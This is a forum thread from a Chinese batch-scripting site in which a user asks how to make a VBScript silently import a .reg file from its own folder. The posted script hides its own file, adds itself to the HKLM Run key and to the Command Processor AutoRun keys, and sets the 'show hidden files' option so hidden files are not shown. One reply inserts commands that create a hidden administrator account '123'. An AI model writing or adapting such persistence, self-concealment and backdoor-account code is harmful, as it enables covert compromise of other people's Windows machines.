Board logo

标题: [问题求助] VBS怎样打开CMD窗口将自动导入reg注册表文件? [打印本页]

作者: baihuo998    时间: 2011-8-23 17:26     标题: VBS怎样打开CMD窗口将自动导入reg注册表文件?

  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "regedit /s C:\test.reg" ,0,true
  7. wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
  8. wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
  9. wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
  10. wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
复制代码
怎么把wsh.run "regedit /s C:\test.reg" ,0,true 这个中的路径改成自动获取同目录的REG文件?
作者: CUer    时间: 2011-8-23 19:20

  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "net user 123 123/add",0,true
  7. wsh.run "net localgroup administrators 123 /add" ,0,true
  8. wsh.run "regedit /s C:\test.reg" ,0,true
复制代码

作者: broly    时间: 2011-8-23 19:34

把里面的net user命令改为导入注册表文件的命令。楼上CUer兄多了添加账户的命令,删了即可
作者: baihuo998    时间: 2011-8-27 14:56

本帖最后由 baihuo998 于 2011-8-27 15:22 编辑

怎么把路径设置成自动获取同目录下的REG文件
作者: broly    时间: 2011-8-27 21:20

  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "regedit /s " & wsh.CurrentDirectory & "\test.reg" ,0,true
复制代码





欢迎光临 批处理之家 (http://bathome.net./) Powered by Discuz! 7.2